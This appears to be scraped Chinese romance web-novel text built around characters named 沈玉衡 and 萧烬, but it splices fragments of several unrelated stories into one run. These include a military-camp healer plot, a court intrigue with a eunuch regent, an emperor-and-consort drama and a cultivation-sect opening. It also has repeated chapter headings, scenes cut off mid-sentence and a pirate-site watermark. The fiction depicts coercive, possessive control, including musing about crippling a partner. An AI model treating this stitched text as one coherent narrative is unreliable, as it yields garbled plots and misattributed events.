甚至忍不住开始想,以后他和沈姑娘的孩子出生,也要请大家吃红鸡蛋。尤其是陈青和张河两人,让他们多吃几颗,堵住他们那张嘴。 不过鸡蛋并不便宜,他要想办法赚钱才行。还有过几日的成亲,他也无钱办什么像样的婚礼,这太委屈沈姑娘了。 想到这,他又吃几大口饭。他要赶紧好起来,等在大比上夺得头名,陈将军定然有赏。到时拿到钱,要先给沈姑娘做一身好看的嫁衣。 这样想着,萧烬眸中不觉浮现温柔的光。 “萧烬是哪个?” 忽然一道粗犷声音响起。 蒋百夫长腰配着长刀,面带煞气,大跨步走来,身后跟着徐洪、牛峰两名手下。 “好几次有其他世家想动沈家的肉,也都被陛下强行保了下来,当时您都死了两年多了,我们都以为您回不来了……” 沈玉衡忽然打断了他的话:“现在说这些有什么用呢?” 不用周源提醒他也已经看到了,自己回来以后,萧烬已经沦落到了那副样子。 可是……这都是他死之后的事了。 迟来的深情比草贱,他们不仅没有和好,沈玉衡也已经死了。 要不是系统帮他,他的命真的就这么丢了。 “就按照我跟你说的做吧。”沈玉衡神色平静:“芸豆,茭白,还有你和其他人……以前的朋友我都会认……” “只有他不行。” 第 89 章 第 89 章 89 周源本意也不是给萧烬求情,听沈玉衡态度坚决,便也不再提了。 不过周源的话倒是提醒沈玉衡了,自己不在的这三年,大周似乎的确变化不小。 朝廷上层除了一些手脚相对干净的臣子,其他人几乎被萧烬来了一次大换血。 萧槐曾经器重,尸位素餐的那群臣子被他清了个干净,人人自危。 官场清净了,百姓虽是高兴,但利益相关的人们却是敢怒不敢言。 翌日。 许是对沈玉衡昨天不识相的报复,蒋百夫长忽然让人放出话,除了他,谁都别想娶沈玉衡。 言外之意,敢娶就是跟他作对。 这显然是想断了沈玉衡嫁给别人的念头,而且还要逼他主动去见面、低头。 毕竟这话一放出来,整个营寨,估计除了蒋百夫长,没人敢再想娶沈姑娘这件事。 沈玉衡得知后,脸上冷意如霜。 蒋百夫长此人简直如狗皮膏药,难摆脱且令人厌恶。 若非怕直接把人弄死,万一查到他身上,会使他身份暴露,得不偿失,他真想在对方的伤药里加些砒-霜。 此人真是少有能令他如此不快的人! 一早,沈玉衡就压着不悦,勉强撑笑,应付过胡郎中和徐阿婶的关心。 胡郎中知道这件事,说要替他去找蒋校尉,让对方管一下蒋百夫长。 但想也知道,蒋百夫长敢放话,就是不怕得罪胡郎中,沈玉衡对此不抱希望。 用过朝食,他照例去伤兵营。 伤兵们大约也都听说了这件事,看见他时,都面带同情,欲言又止。 尤其张虎兄弟俩,想帮忙,却又想不出办法,急得神情不安。 沈玉衡勉强回应他们的打招呼,一路走到营帐最里。看见萧烬时,心奇异地沉静了下来。 “先扎针吧。”他放下药箱,取出银针,朝对方微笑。 萧烬一见他来,视线便一直粘在他身上,见他神色如常,似乎稍稍放下心。随即又微蹙眉,不知在困扰什么。 沈玉衡并未察觉,扎针的空隙,又微微走神。 看见萧烬,他就又想到昨天那个办法,但……他还没下定决心。尤其他还没问萧烬,敢不敢跟蒋百夫长作对。 萧烬也偶尔看他,漆黑眸中似酝酿着什么。 沈玉衡心中想事,并未注意到。或许,他是刻意回避对方的眼睛。 他几次想开口,却在对上那双黑眸时,又生生止住。 营帐中的嘈杂使头脑无法冷静,空气也愈发浊闷。 扎完最后一针,他匆匆收起银针,说一句“今天先到这”,就提起药箱离开。 甚至没来得及抬头看一眼。翌日,终于到了军中大比。 萧烬一早就穿上其他伤兵借给他的甲衣,正抬手系扣。 陈青在旁,好心给他捶肩按手臂,压低声道:“你放心,我已经跟我认识的兄弟都打过招呼了,到时但凡他们对上你,肯定让一让,一定让你进决赛。咱就是说,即便赢不了蒋百夫长,也不能输得太磕碜。千万别连对阵的资格都没捞到,就被刷下来,那就太丢人了。” 萧烬正想沈玉衡想得出神,闻言淡淡瞥他一眼,道:“不用。” 陈青:“唉,你这人就是犟,我跟你说,那蒋百夫长可不好赢。” “陈烬愣,你不会说话就少说几句吧。”躺在帐门口的张河听到他的话,不满嚷道。 这几日,伤兵营里的人都给萧烬鼓气,知道他跟蒋百夫长立了赌约——谁赢谁娶沈姑娘,一时能帮忙的都帮忙,有借甲衣的,有跟他讲往年大比规则的,还有跟他说怎么防止被下黑手的…… 张虎也主动给萧烬当陪练,他体格跟蒋百夫长相近,自觉合适。但实际上,他拳脚路数偏正,跟蒋百夫长大不相同,于萧烬并无太多用处。 不过这份心意,萧烬倒是领了。 尽管众人都觉得萧烬赢蒋百夫长的希望渺茫,但直接把这话说出来的,还真就陈青一个。 陈青被众人目光谴责,干咳:“虽然……那什么,但我下注买了萧烬赢啊!” “什么?你下注了?” “在哪下的注?” “算我一个!” 伤兵营顿时又吵吵嚷嚷,萧烬却出神望向帐外—— 三天了,沈姑娘还是没来…… 萧烬怔愣望着他转瞬走远的身影,像一团雾气飘散碰不到痕迹。 眼中酝酿的墨色瞬间消散,想开的口也忽然闭紧。 他低头看向掌心两枚甘草片。“我听你声音一直嘶哑,是不是上次的甘草片太少,没什么用?”他将小纸包递到萧烬面前,眼神含笑,“这次我多拿了些,你先拿回去用,不够的话再跟我说。” 萧烬怔怔,伸手接过。 纸包在衣袖中是贴着手臂放的,上面还残留几许温度——是沈姑娘的体温。 萧烬忽然整个耳朵都红透,倏地攥紧纸包,五指将其完全包拢,仿佛这样能让温度多留存一会儿。 沈玉衡还要回药房,顺便将要成亲的是上报给管理罪眷的军吏。 他仔细想想,应该没什么落下的了,便提出告别。 萧烬骤从沉浸中回神,不觉有些失落,只觉相处的时间分外短暂。但看一眼上方太阳的位置,时间确实已经过去许久。 两人一前一后往回走,到了帐门口,要分开时,萧烬忽然转头,看向该往药房方向走的沈玉衡。 沈玉衡恰好也转头看他,视线对上,不觉一愣,随即笑着朝对方挥挥手。 萧烬站在帐前,一贯冷峻的面容似冰雪消融,总僵成一条线的唇角也缓缓弯起。 沈玉衡还是第一次看他笑,再次愣住,觉得……很好看,黑眸中像有星光。 他暗暗摇头,提着药箱转身离开。 萧烬目送他的身影消失,又低头看一会儿手中的纸包,才抿着唇角,继续往营帐里走。 躺在帐门口位置的张河刚要跟他打招呼,下一刻却愣住,忽然转头,对身旁的大哥惊讶道:“萧烬今天心情很好,居然在笑。” 张虎:“……?”他平时不笑? “你来得少,不了解,他平时跟木头桩子似的。”张河努力回忆,“用陈青那小子的话说,就是像个少爷,平时眼睛看不见别人。” “别瞎编排别人。”张虎直接给他脑门一下。 营帐最里边,陈青抬眼见萧烬回来,忙一骨碌坐起,好奇探究:“你总算回来了,出去这么久,沈姑娘跟你说什么了?” 萧烬瞥他一眼,将拐杖还给他,什么都没说,径直坐到自己床边。 “别啊,别又不吭声,我以为咱俩好歹也算是朋友了呢。”陈青支起上半身,探过去继续问,“到底说什么了?” 萧烬没理他,兀自打开纸包,小心数那几枚甘草片。 陈青探头看一眼,见又是他之前常摩挲的那种小草片,且明显是新得的,数量也不止两个,应该是沈姑娘刚给的。 他不由纳罕:难道只是为了给几个小草根片? 那也不至于专门把人叫出去啊。 再见萧烬正小心数那些草片,神情专注,完全没工夫理自己的样子,他不由“啧”一声,道:“没趣。” 说完躺回床上,翻个身,没一会儿,又忍不住翻回来,再看一眼。 萧烬已经数完,正捏起一枚甘草片,小心放进口中,那神情,像在品尝什么山珍海味。 陈青:“……” “没救了。”他暗暗摇头感叹,心想:这傻小子估计还在做美梦呢。 沈姑娘给几枚小草片,都珍惜成这样,看来昨天劝的那些话,他根本没听。但沈姑娘又不可能嫁给他,等人真嫁了别人,这小子不定得伤心成什么样,唉,可怜。 沈姑娘今天有忘记给他带新的来了。 甚至没怎么跟他说话。 他确实不是特别的那个,跟张河、陈青……这些营帐里其他伤兵一样,都不特别。 他们只是足够幸运,短暂地被这位心地善良的沈姑娘救过命、照顾过。 萧烬握紧拳,握紧掌心那两枚甘草片,用力到似乎要将它们攥碎。 忽然,眼前一暗。 他倏地抬起头,看见了去而复返的“沈姑娘”。 沈玉衡站在萧烬面前,清丽双眸看向对方,气息还有些不稳,显然是疾步走回来。 他看着面前青年俊冷中带着一丝讶异的面庞,还有那双乌黑不掺杂质的眼睛…… 没有比眼前这个人更合适的了。 他攥紧指尖想。 除了萧烬,还有谁敢顶着蒋百夫长放出的话,跟他成亲?而且对方还听话、好哄,没有家人,自己又救过他,容易成功…… 没有更合适的了。 沈玉衡再次在心中想。 只需一两个月,就先这么做,度过眼下这关。 大不了,成亲前他跟对方说清楚;大不了,等父亲的旧部寻来,他离开时多给对方一些银钱作补偿。 还有蒋百夫长,萧烬也不必担心成亲会得罪此人,他有办法可以应付。 像是下定了最后决心,沈玉衡定了定神,望着因他忽然折回而微微愣住的萧烬,清冷玉丽的眼眸忽然微弯,露出温和微笑。 “能跟我出来一下吗?” 他开口说,语调轻柔,像天际缥缈的云,飘进萧烬的耳中。 “我有件重要的事想跟你说。” 沈玉衡:“……” 总感觉被占便宜了怎么回事。 他突然有点没意思,真的凶到了萧烬又有什么用?就算多打他两耳光,说不定还让他爽到了。 他自称有事想要脱身,萧烬却追上来,不想让他回到黑暗以外的那片光明似的。 他嘴角还挂着那行已经干了的血,颇有一副死也要追着他的样子:“母妃要去哪儿?朕可以陪你……” 沈玉衡瞥了他一眼:“算了吧,我是过来相亲的,你陪着算什么?” 萧烬惨白的脸色僵在半空,一瞬间冷的可怕。 第 90 章 第 90 章 90 沈玉衡说谎的时候从来都容易暴露,所以他说实话的时候,也格外好分辨。 “你要娶妻了?”萧烬的脸色在极短的时间内冷了下来,极力稳住颤抖的尾音:“你那两个兄长都尚未娶妻,这样不合规矩吧。” 娶妻? 沈玉衡意识到他误会了,但也没有刻意去解释:“他们也不是要我立刻成婚。” “不是立刻成婚,却要你与那女子见面?母妃莫不是要耽误了那些待字闺中的姑娘?” 沈玉衡:“……”这又是他的不对了? 虽然病确实好得差不多了,但沈玉衡还是在萧烬的注视下默默喝了两天的药。 他舌根都苦得有点发涩了,导致这两天食欲也下降了好多。 还是终于停药后,他才恢复些胃口。 只是因为记着出宫的事,沈玉衡总是有点心不在焉。 也得亏是萧烬这几日忙,不然沈玉衡觉得自己肯定要憋不住。 而又过了几日后,无需沈玉衡问,萧烬便带着消息来了:“钦天监说两日后应当天晴,到时带你出去玩。” 沈玉衡的眼眸微亮,克制着情绪:“好。” 可上扬的语气还是暴露了他确实期待且欢欣。 于是萧烬顿了顿,侧首看了眼跟在他旁侧的沈玉衡。 沈玉衡跟着停下脚步,有些困惑地偏头。 萧烬就故意似笑非笑地说:“殿下好似并不想去?” 沈玉衡不知他怎么得出这个结论的。 他斩钉截铁道:“我想去。” 萧烬悠悠道:“那殿下瞧着不太高兴的样子?” 他哪里不高兴了? 沈玉衡真不明白,而且他发现萧烬是真的很会冤枉人,先前说他撒娇也是。 莫名其妙的。 沈玉衡:“我很高兴。” 萧烬说是吗:“臣没看出来。” 他们说话间进了书房,赵宝和小圆子停住脚步,止步在了书房门口,也默默关上了房门。 沈玉衡听到他这么说,便确认了萧烬就是在戏弄他。 故而沈玉衡微微抿唇:“厂公,书上都说,要学会喜怒不形于色。” 他看萧烬,其实也是如此。 虽然萧烬平日里好像表现得极为率性,但其实他是沈玉衡遇见的这么多人里,最难看透的那一个。 萧烬微挑眉:“这话是没说错,但那是对外,我是‘外’?” 他当然是。 其实萧烬自己也明白,可他就是这么“坏”。非要去“掰”沈玉衡,非要沈玉衡把所有的一切都交给他,就仿佛……想要的不仅仅是一个傀儡皇帝,而是一个真正的傀儡,属于他的傀儡。 为他生、为他死,以他喜、以他怒,将全身心的一切都托付交予他。 是很过分的。 可他们之间的关系本就不正常,萧烬要求得再多,似乎也很正常了。 沈玉衡如此聪慧,自然也意识到了萧烬此举是何意。 故而他抿住唇,掩在袖袍底下的手不由攥紧了几分,却连在自己掌心掐出指印都不敢。 萧烬会不高兴。 ……说来也是可笑。 在意识到萧烬到底要做什么时,沈玉衡当然是有几分羞愤不悦的,可在自己不敢掐自己时,他便知晓,他早就开始潜移默化地在接受萧烬的“驯服”了。 是好是坏,沈玉衡并不知晓。 但他知道如今他只能听之任之……至少现在他的处境,比他那日最后在自己那偏落的、被人遗忘的小院里静坐了大半日设想的局面要好太多了。 沈玉衡从小到大,最明白的道理就是不能贪心。 萧烬要的,听着好像很不得了,可对于他来说,这么多年,要是要那点自尊心,他早就跳湖了。 故而沈玉衡放松下来了身体,低声道:“厂公,我记住了。” 萧烬微勾起唇,眼里却无端少了几分笑意,他垂眼睨着乖顺的人,舌尖无意识地轻扫过尖牙,慢声:“那你表现一下,你的高兴。” 沈玉衡:“……” 话都过了,难道再来一遍?可再来一遍,也会因为怪异没办法把他先前克制掉的情绪再挖出来,要演的话…萧烬定然一眼看穿,到时又不高兴。 沈玉衡觉得这人好难伺候。 所以他没忍住,抬起头看了萧烬一眼。 是那种带着点无法理解的困惑,配上他那张脸,落在萧烬眼中,就有几分嗔怪的感觉了。 又在撒娇。 但他挺爱看沈玉衡这般的。 故而萧烬嘴角噙着的笑深了几分,还微微低下了头,兴致极好地给人提示:“还有不到半月你便要登基,这会儿出去一趟可不容易。日后你坐上那把椅子了,想要出去更难。殿下,臣偷偷带你出去玩,这几日还为你的登基大典操劳,没叫一件烦心事落你跟前,你却瞪我?” 沈玉衡:“?” 他哪有瞪他! 这人也太会倒打一耙了吧?! 不过听萧烬这语气,还有这说话的姿态,是又正常了。 他这些天咂摸出个味来,发现萧烬有时看着好像和平时没两样,但其实是在“犯病”,莫名其妙地,忽然就想让他证明什么,想看他低头顺从,想听他亲口承认自己的所有权归他,自己归属于他…… 就好似方才那样。 不过他要是顺着萧烬的毛走,萧烬就能好起来,语气和神态便又会有些细微的变化,而这时的萧烬,是最好说话的。 同他拌两句嘴,他也只会定性为“撒娇”——虽然沈玉衡不喜欢这个词,但总比萧烬犯病时那一副他要是说错话他就完蛋,说不定当场就要拔剑斩了他要好。 因此沈玉衡看着他认真辩驳:“我没有瞪你。” 萧烬轻嗤,扫了屋内一圈,都没有瞧见能做镜子使的东西,便只能遗憾道:“我日后定要时时带一面镜子在身上,好叫殿下瞧一瞧,殿下是怎么瞪臣的。” 他说着,上下打量了沈玉衡几圈,眸光在沈玉衡的眼睛上停留得最久,又笑着说:“凶得很。” 沈玉衡:“?” 谁说谁凶??? 萧烬敢说他凶??? 沈玉衡别过头,不想理他了。 他这样,萧烬却不仅没有生气,反而笑得更深:“还会闹脾气了。” 萧烬甚至忘了自己方才垂首,是想要向沈玉衡要什么。 他站直身体,当真像是邻家哥哥一般,屈指轻弹了一下沈玉衡的发顶,语气都透着亲昵:“殿下,你现在是越发放肆了。” 他没有生气。 沈玉衡瞬间就判断了出来。 他抬手摸了下自己的脑袋,跟着萧烬往书桌那边走,在心里说,没有你放肆。 谁能有萧烬放肆啊. 用晚膳的时候,内务府总管又来报,他语速不快,但全是规矩、按礼制……好些繁琐的东西,听得沈玉衡有点头晕眼花的,最后还是决定不听了。 反正这皇帝又不是他一个人当,决策也并非他能下。 然而也不知是故意的,还是确实想问一下沈玉衡的意见。 在内务府总管说完后,萧烬就悠悠看向沈玉衡:“殿下的意见呢?” 压根没听的沈玉衡:“……” 平日里批阅奏折时也没见你问过我一句,怎么现在就问我了? 沈玉衡看了萧烬一眼,到底也还是因为自己确实没听有点心虚,低头道:“我听厂公的。” 萧烬扬眉:“你是想从简还是照旧?” 沈玉衡知道他们是在说登基大典的事,他不确定萧烬有没有什么安排,故而只能再说一句:“厂公觉得呢?” 萧烬微微一笑:“我觉得十七压根没有听呢。” 沈玉衡:“。” 虽然萧烬话是这么说,但沈玉衡敏锐地觉察到他并未生气,故而也没有太害怕,而是道:“我先前…从未听过这些,光是什么布、什么线,我就听不太明白了。” 他大大方方地承认自己没见过好东西:“更别说那些个珠啊玉石的…还是厂公你决定吧。” 萧烬若有所思:“先前一直拖着,你也该学规矩和鉴赏了。” 这个“规矩”是指大乾的礼制,沈玉衡虽是皇帝,不是礼部尚书,不至于条条件件都得知道,但一个大概总是要了解的。 然而听到这话,沈玉衡默了默,试图挣扎:“一定要学么?” 萧烬微顿,偏头看向他:“你不想学?” 沈玉衡就在这四个字中无端脊背炸寒:“厂公若是要我学,我便学。” 萧烬却没有说什么了,而是示意那内务府总管:“去办吧。” 总管垂首弯腰去了。 他走时,赵宝还握着剑柄上前了两步送他。行至外院时,赵宝便说:“朱公公。” 朱公公忙转身拱手:“赵大人,您吩咐。” “方才之事,若是有人打探起来……” “奴才知道,该说的不该说的,奴才都晓得!” “不。” 赵宝淡淡:“厂公的意思是,照说无误。” 朱公公一愣,不明所以:“大人,能否明示?” 赵宝:“若是有人问起殿下的情形,你直说你进宫中见殿下在千岁旁侧一言不发,千岁问时才敢回话,一切事宜皆让千岁安排。无需夸大,但也不必隐瞒。” 朱公公不懂,但他没有多问,而是弯腰拜下:“是,奴才记住了。”. 而在宫中,沈玉衡捧着小碗慢慢喝着汤,不明白自己哪里说错了话。 萧烬突然好安静。 沈玉衡并不知晓,夏士诚善于窥视人心,他将那一套也教过萧烬。 夏士诚与萧烬说过—— “你看一个人是否能被束缚住,端看他愿不愿意学那些繁琐的规矩就够了。有些人即便表现得再如何恪守礼节,但他若是学起那些繁琐的规矩费劲、排斥,就证明他的心是自由的。” 夏士诚那时笑着摇头:“这样的人就如同一些驯服不了的鸟儿,你把笼门一开,他便再也不会飞回来。” “你若是要用这样的人,要么抓紧钥匙,要么用过后就杀了。免得生出事端。” 萧烬后来虽与夏士诚生出了诸多嫌隙,但夏士诚在这上面的本事,他自叹不如至今。 故而…… 萧烬瞥了沈玉衡一眼。 夏士诚有句话说错了。 他无声地扯起嘴角,眼里一闪而过阴戾。 不需要患得患失地抓紧钥匙,也不需要杀了。 要困住一只鸟儿,只要废了他的翅膀就好了。 鸟没了翅膀便不会飞走,人折了腿便走不了。 沈云璟再三强调沈玉衡绝对不许入宫面什么狗屁的圣,非要沈玉衡保证了,才气势汹汹地离开。 门外,沈听澜远远看了一眼委屈巴巴摸着脸颊的沈玉衡,追上沈云璟:“你何必凶他呢?他要是真不懂道理,早就拍屁股入宫当皇后去了,哪里还有你操心的份?” 过了好一会,沈云璟才叹了口气:“……我就是让他做个保证,给自己提个醒罢了。” 他也不是故意想凶沈玉衡,只是时下情况特殊。 沈云璟压低声音:“爹还没回来……要是被他知道,肯定想自己进宫解决。” 沈听澜眉头也沉下来:“对,放心好了,我瞒着呢。” 沈玉衡要是再进宫,什么时候能回来,就不是他能控制得了。 他们几个尚且不想放手,更别提坐龙椅的那个疯子了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第 91 章 第 91 章 91 这几天,沈玉衡总觉得家里有些奇怪。 又到了饭点,但沈崇还是缺席,这种情况从前很少出现。 沈玉衡问:“哥,爹今天也不回来吗?” 沈听澜闷头:“喝酒去了。” 前几天沈听澜也是这么说的,沈玉衡没有多问,毕竟沈崇最近身子养起来了,刚好点就喜欢出去乱跑。 但是沈崇是个顾家的,大多数时候都会赶回来和孩子们吃晚饭。如今一连这么多天不回来,不像是是他的作风。 深夜,帐外风声呜咽。 寒意从四面八方袭来,沈玉衡躺在铺着干草和旧褥的床上,裹紧身上有些冷硬的衾被。 之前被安排在伙房干活时,他一直住在那边。但被调来给伤兵浣衣后,不得不搬到营帐。 帐中都是女眷,为避嫌,他住在靠近帐门的位置,尽量跟其他人隔开。好在帐中女眷不多,且因帐门口冷,住得都靠里,离他也较远。 但这样的情况只能是暂时,还是得想个办法,尽早离开,至少先搬出营帐。 沈玉衡闭上眼睛想。 深冬的寒意透过帐门缝隙,丝丝缕缕渗入。他裹紧衾被,将自己缩得更紧一些,手脚却仍冰凉,冷得打颤。 梦中他流落西羌时,有幸结识一位跟他一样被战乱裹挟到那的中原游医,跟对方学了一套据说是练功人才会的吐纳法,有强身健体之效,尤其适合他这样生来就畏寒的人。 此刻冷得睡不着,他下意识像梦中那样练习起来。渐渐,血液奔流,手脚似乎真暖了一些。 他终于有了困意,睡着前想,不知能不能再梦到一些前世的事。 但一夜无梦。 翌“小女郎!” “沈姑娘!!”到了伤兵营帐,沈玉衡先去帮胡郎中说的那两人缝合伤口,接着又去看张河。 张虎今天不在,据说被上头叫去问昨日遭伏击的详细情况了,现在在旁照看的,是两兄弟的一个同村好友。 张河之前醒过一次,此刻又昏睡了。沈玉衡看过情况,见他果然有些发烧,开了个方子,让照顾他的人先去药房找胡圆儿抓药。 胡郎中在旁拿着纸笔,赶紧把要点一一记下。 最后两人才走到最里面的那个角落。 昨天跟沈玉衡打招呼的伤兵见他过来,又热情开口,只是今天的话却不同—— “沈姑娘,又来给这人换药啊。” “胡郎中昨夜刚来给他换过。” “沈姑娘,是不是这小子也能救活?” “我看他之前都快断气了,今天脸色竟又有些好转,您不会是神医吧?” “哎,这人可真是好命,能遇见沈姑娘您!” 因着昨天的事,伤兵们对他显然比之前敬重。毕竟说不准哪天,他们只剩一口气从城墙上下来时,还能寄望被缝两针救命。 沈玉衡对他们的热情招呼回了个微笑,然后看向那个依旧安静的角落—— 木板床上的人情况确实好些了,沾血的甲衣被剪开拆走,身上污血也被擦净,换了身衣服。只是右手仍紧紧握着那柄弯刀,指骨像石头雕刻一样,坚不可动。 俊朗的脸上有了些血色,只是眉目依旧紧闭。应是有人刚给他喂过水,之前干裂的嘴唇微微湿润,很薄,形状竟很好看。 沈玉衡微微收回视线,看向他胸口位置,忽然一抬手,将遮住箭伤的衣襟拉开。 结实漂亮的线条瞬间显露,胸膛处缠着白布条包裹伤口。 胡郎中暗暗咋舌,女子行医多有不便,但这小女郎……是真不把男人当男人啊,这衣服,就这么随手一把就扯开了? 沈玉衡目光落在床上人因呼吸而微微起伏的布带上,指尖下落时顿了一瞬,然后利落将其拆开。 要清理药膏时,胡郎中忙说:“我来吧。” 沈玉衡摇头,说不用,然后动手将伤口处黑乎乎的药膏擦掉,又用布巾沾着温水,将残余的黑色也擦去。 伤口已经出现愈合之势,显然对药性吸收很好。但之前一直没处理好,使箭伤位置有些化脓,伤口比最初扩大,要完全愈合还需不少时间。 “我帮先他处理一下,再缝合吧。”沈玉衡拿出工具。 胡郎中一听他要缝合箭伤,赶紧又拿出纸笔,接着观摩记录。 之前打招呼的伤兵也忍不住都凑过来,被胡郎中瞪了一眼,才讨好笑笑,后退些距离。 “还真能救活啊?” “不好说,昨天张河虽然严重,但好歹还能哭爹喊娘,有口活气在,但这个……听说之前都快没气了。” 几人低声私语,有盼好,又不住摇头的。 沈玉衡仿佛没听见,他拿出用烈酒擦洗过的刀剪,清冷的侧脸带着专注与沉静,目光认真,小心处理伤口位置的腐肉,没有丝毫不适。 胡郎中边帮他递工具,边拿笔“唰唰”记录,心中暗暗惊讶又佩服。 昏迷中的人显然能感受到疼痛,锋利刀刃割开伤口血肉时,他握刀那只手蓦地用力,手背青筋暴露,指骨泛白。才恢复血色的脸也霎时苍白,额上冒出细密冷汗。 沈玉衡和胡郎中都太过专注,没第一时间察觉。 忽然,握刀的指骨颤动了一下。 接着浓密眼睫也剧烈抖动,像翅膀被黏住但不停震动,将要挣脱的蜻蜓。 蓦地一下,蜻蜓挣脱,剧颤的眼皮睁开,眼底如浓稠墨染,却空茫没有聚焦。 他大口喘息,胸膛剧烈起伏。 沈玉衡终于讶异抬头,玉丽清湛的双眸猝然对上一双如碎墨凝结,逐渐聚焦的眼睛。 没等他反应过来,眼睛主人猛地坐起—— 锵然一声,寒刃出鞘。 眼前刀光一闪,下一瞬,刀已架在颈间,寒气逼人。 沈玉衡几乎下意识要出手,但察觉没有杀意后,又硬生生止住。 无视颈侧寒刃,他偏头去看刚坐起的人。 对方正剧烈喘气,神情却空茫,显然拔刀只是醒来后的本能反应。 周围一阵惊呼,沈玉衡却已短暂失去意识。 还是徐阿婶眼疾手快,见他摇晃要倒,急忙伸手,先一步扶住他,心中忍不住又“阿弥陀佛”念叨:幸亏我过来了,不然女郎现在连个照顾的人都没有。 毕竟,总不好教这些个军汉扶着抱着。 虽说徐阿婶不久前才建议沈玉衡嫁个厉害的武官,但她打眼瞅着,眼前这几个都不太可。首先官不够大,吓不退蒋百夫长;其次个个都五大三粗,不够俊俏,不妥不妥。 沈玉衡只失去片刻意识,很快就醒来。约莫是风寒未好,又耗费心神的缘故,他方才脸色白得像雪,额上也满是冷汗,被胡郎中灌了小半碗糖水,才渐渐恢复血色。 见他睁开眼,围着的胡郎中等人都松一口气。 张虎最是紧张,见他没事,总算把心放下,接着又一脸焦急,似乎想问什么,但顾忌沈玉衡刚醒,不好意思打扰。 沈玉衡没让他等太久,将剩下半碗糖水喝完,便抬头叮嘱:“等你弟弟醒来,先熬些米粥给他喝,切不可直接进饭。” 张虎一听,心中顿松,激动问:“小女郎,不不,恩人,我弟弟他是不是没事了?已经救回来了?” 沈玉衡闻言却摇头,道:“现下还不能确定,不过只要能熬过接下来几日,就没事。” 虽然不是肯定回答,但已经比之前胡郎中直接下“死刑”判定的结果要好太多。 张虎虽还未彻底放下心,也激动得忍不住又一阵千恩万谢。 胡郎中心中更是惊异震撼,没想到他真能把人救回来。 他迫不及待想请教,但还没开口,周围士兵就先忍不住聚拢来,尤其那些个伤兵,个个七嘴八舌,吵得简直像一群乌鸦—— “沈姑娘,你真把那小子救回来了?” “沈姑娘,你那救人的法子,也能缝别的伤口吗?” “沈姑娘,你看我这手臂的伤是不是也能缝?” “沈姑娘,我这伤被姓胡的庸医治得止不住血,能不能也……” “去去,说谁庸医?不到一指长的伤,哪没止住血?要不我拿火钳给你烫一下,保管能止住。”胡郎中没好气地挥开众人。 伤兵们一阵哈哈大笑。 胡郎中故意板着脸,不与他们插科打诨,转头看向沈玉衡,立刻又笑得春风和煦:“小女郎,你还没用飧吧,不如先随我去用些?” 沈玉衡目光清透,抿唇勾起一丝微笑,说:“那就有劳老先生了。” 其实没有张氏兄弟之事,他原本也打算近日在胡郎中面前展示缝合手法。 之前抓药、制作桑皮线,目的都是要引起对方兴趣。如今过程虽与预料不同,但效果似乎更好。 张虎此刻已急得眼睛赤红,见胡郎中不住摇头,竟忽然扑通跪地,求道:“老先生,我求你救救我弟弟,只要能救他,以后我张虎的命就是你的,我给您当牛做马……” 说着竟“咚咚”磕起头来。 “别别,使不得。”胡郎中连忙去扶,见扶不起,无奈“唉”一声,道:“不是我不救,是真救不了,行医这么多年,就没听说伤成这样还能治的。但凡能治,我能见死不救吗?” 张虎磕头的动作顿时僵住,脸上渐渐爬满绝望。 旁边张河已经疼得只剩气音,喉咙里发出艰难“嗬”声,断续挤出字句:“哥……疼,我疼啊……” 胡郎中也不忍看,对张虎道:“你还是快起来,趁你弟弟还活着,有什么要紧话赶紧说……” 唉,这种死法也是折磨人,活不成,可一时半会儿也死不了,只能痛苦熬着。 “怎会这样,怎会这样?”张虎双手发抖,一时涕泪横流。 旁边张河还在哀嚎,疼得抽搐,手脚被人死死按着。许是清楚自己没救了,他艰难扭头,几乎是用气音:“……哥,给我、给我……” 张虎抹一把脸上泪,慌忙膝行过去,急切抓着他手问:“你说啥?你想要啥?哥给你找来,哥都给你找来!” 张河表情近乎扭曲,痛苦挤出字音:“……给、给我个……痛快。” 张虎僵住,脸色惨白,忽地发出痛苦低吼,崩溃转身,再度恳求胡郎中:“老先生,您想想办法,您再想想办法!你一定会有法子,您一定能想出来……” 周围人都不忍再看下去,几个士兵也都红着眼睛转开脸。 胡郎中见惯了生死,长长“唉”一声,却也不忍再摇头。 可他确实无能为力,刚要说“只能先给他敷些药,把伤口包起来,但这肯定救不活”,却听身后忽然传来一道清越声音—— “也许,我可以试试。” 人群后,沈玉衡望着地上痛苦哀叫的张河,忽然抬眸开口。 苏澄? 沈玉衡没有让小厮把人请进来,而是亲自出了门,有点紧张地堆起笑问苏澄:“苏公子有什么事?” 萧烬马上就要来了,苏澄却现在过来…… 像是看出了他的局促却又故意不提,苏澄露出一个意味深长的笑,幽幽地问:“怎么这么急?难道沈妃今日已经有约了?” “怎么会……”沈玉衡干笑两声,忽然愣住。 他眼里映着苏澄越来越冷的笑容,刚想出声解释,眼前却是一黑—— …… 彻底坠入黑暗之前,他最后看见的,是苏澄微微伏低的身子。 冰凉的触感拂过越发麻痹的脸颊。 “为什么独独要骗我呢……” 第 92 章 第 92 章 92 沈玉衡再次恢复意识时,天已经黑了,屋内点着微弱的烛火。 他躺在一床温暖舒服却陌生的被褥里,一时让他都忘了自己是怎么晕过去的了。 只有后颈还残留着丝丝酸痛。 他揉着后颈一点点坐起身,脑海里迟钝回忆起自己昏迷的原因后,浑身猛地一颤。 他这是在哪儿呢?! 沈玉衡赶紧环顾四周,这里竟出奇的熟悉…… 入秋后的第一场雨,总是分外的凉。 前几日还十分晃眼的烈日艳阳,此时却怯怯地躲在了云层之后,任凭讨喜的雨露播撒人间,消去那燥人的酷暑。 只是这寒来暑往,秋收冬藏,终究是人间的特权。 再往前,便是凡人不可随意踏足的仙家之地,四季如春,山水秀丽,千年来日日如此,永无变化,也永无止境。 萧烬手上提着一小缸子酒,不慌不忙地走在回门派的这条山路上。 即便那红布裹的木盖将酒缸口塞了个严实,都难掩那股琼浆金液的醇香,倘若爱酒的人闻到了这股味,一定会忍不住掀开盖儿品品这难得一尝的好酒。 只是数百里的徒步前行中,山路崎岖难走,大道拥挤难行,酒面却始终如一片镜湖,碧波不兴。 他抬眼看去。 划别凡仙两界的结界,总算到了。 结界前立了一块石碑,这块石碑非比寻常地巨大,几乎能称得上是一座小山。其上用凌冽的剑痕镌刻着四个潦草的大字——仙鸣山派。 高耸的石碑立于眼前,它饱含着的灵气撑起了方圆百里的结界,乍一看气势十足,令人不由想要驻足察看,然而真正凑近,却会发现其上遍布着许多藤蔓状的植物,有一些甚至爬进了字痕的凹槽中,模糊了剑痕所留下的字迹。 萧条与破败肉眼可见,显然是很久没有人来清理过了。 